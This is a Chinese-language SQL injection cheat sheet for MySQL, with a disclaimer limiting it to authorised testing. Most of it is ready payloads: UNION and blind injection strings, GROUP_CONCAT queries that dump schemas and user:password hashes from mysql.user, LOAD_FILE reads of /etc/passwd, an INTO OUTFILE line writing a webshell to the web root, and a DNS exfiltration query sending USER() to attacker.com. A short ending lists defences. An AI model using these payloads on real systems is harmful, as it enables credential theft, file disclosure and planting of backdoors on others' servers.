⚠️ 本文僅供安全研究、授權滲透測試與防禦加固參考,嚴禁用於非授權系統攻擊。
SQL 注入不只能提取資料,更能透過 MySQL 內建變數蒐集系統配置、版本、路徑等關鍵資訊,協助攻擊面擴大。本文系統整理注入常用內建變數、GROUP_CONCAT 高效提取技巧與實戰組合招。
@@version -- 版本號 (如 5.7.33)
@@version_compile_os -- 編譯 OS (如 Linux, Win64)
@@version_compile_machine -- 架構 (如 x86_64)
@@version_comment -- 發布版本註釋
@@basedir -- MySQL 安裝基礎目錄
@@datadir -- 資料目錄 (含表檔案)
@@tmpdir -- 臨時檔案目錄
@@plugin_dir -- 插件目錄 (UDF 放置處)
@@log_error -- 錯誤日誌路徑
@@pid_file -- PID 檔路徑
@@socket -- Unix Socket 路徑
@@have_ssl / @@have_openssl -- 是否支援 SSL
@@skip_networking -- 是否禁用 TCP/IP (ON=僅本地)
@@secure_file_priv -- LOAD_FILE/INTO OUTFILE 限制目錄 (5.6+)
@@local_infile -- 是否允許 LOCAL INFILE
@@max_connections -- 最大連線數
@@max_user_connections -- 單用戶最大連線
@@max_allowed_packet -- 封包大小限制
@@wait_timeout -- 閒置斷線時間
@@interactive_timeout -- 互動式閒置時間
@@thread_stack -- 執行緒堆疊大小
@@log_bin -- 是否啟用 binlog
@@binlog_format -- ROW/STATEMENT/MIXED
@@expire_logs_days -- binlog 保留天數
@@sync_binlog -- 同步頻率
@@server_id -- 伺服器 ID
@@character_set_server
@@character_set_database
@@character_set_client
@@character_set_connection
@@character_set_results
@@collation_server
@@collation_database
@@tx_isolation -- 隔離級別 (READ-COMMITTED 等)
@@sql_mode -- SQL 模式 (STRICT_TRANS_TABLES 等)
@@old_passwords -- 是否用舊密碼雜湊
@@Connections -- 總連線嘗試次數
@@Uptime -- 運行秒數
@@Max_used_connections -- 歷史峰值連線
@@Threads_connected -- 當前連線數
@@Questions -- 查詢總數
@@Slow_queries -- 慢查詢數
-- 等價寫法
SELECT @@version;
SELECT VERSION();
-- UNION 注入範例
' UNION SELECT 1, @@version, 3, 4 --
' UNION SELECT 1, @@basedir, 3, 4 --
' UNION SELECT 1, @@datadir, 3, 4 --
-- 盲注布林判斷
' AND (@@version_compile_os LIKE 'Linux%') --
' AND (SELECT @@secure_file_priv = '') -- -- 判斷是否限制檔案操作
-- 取得所有資料庫名 (單行顯示)
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
-- 取得特定資料庫所有表名
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'mydb';
-- 取得表所有欄位名
SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users';
-- 取得資料 (用戶名:密碼)
SELECT GROUP_CONCAT(CONCAT(user, ':', password)) FROM mysql.user;
-- 查看預設 (通常 1024 bytes)
SELECT @@group_concat_max_len;
-- Session 級調大 (需權限)
SET SESSION group_concat_max_len = 1000000;
-- 注入中若被截斷,嘗試
' UNION SELECT 1, (SELECT GROUP_CONCAT(...) FROM ...), 3 --
-- 仍受限,需配合 LIMIT 分批或其他技巧
-- 正常 UNION 需 LIMIT 1 避免多行
' UNION SELECT 1, GROUP_CONCAT(schema_name), 3 FROM information_schema.schemata --
-- 無法用 LIMIT 時:GROUP_CONCAT 將多行合為一行,天然繞過
-- 配合 DISTINCT 去重
SELECT GROUP_CONCAT(DISTINCT table_name) ...
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(@@datadir + '/mydb/users.frm'); -- 讀取表結構檔
SELECT '' INTO OUTFILE '/var/www/html/shell.php';
SELECT * FROM users INTO OUTFILE '/tmp/users.txt' FIELDS TERMINATED BY ',';
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT USER()), '.attacker.com\\a.txt'));
-- 觸發 DNS 查詢,將 USER() 結果帶出
-- 需攻擊端控制 attacker.com NS 記錄,監聽 DNS 日誌
SELECT USER(), CURRENT_USER(), @@version@@version_compile_os, @@basedir, @@datadir@@secure_file_priv, @@plugin_dirGROUP_CONCAT 批次取 schema/table/columnmy.cnf: secure_file_priv = /tmp/mysql_files 限制檔案操作目錄general_log、audit_log 審計異常查詢MySQL 內建變數是注入後資訊蒐集的金鑰,GROUP_CONCAT 則是高效提取的利器。防禦端應從「參數化查詢」源頭阻斷,輔以「最小權限」、「檔案操作限制」、「審計監控」纵深防禦,將注入風險降至最低。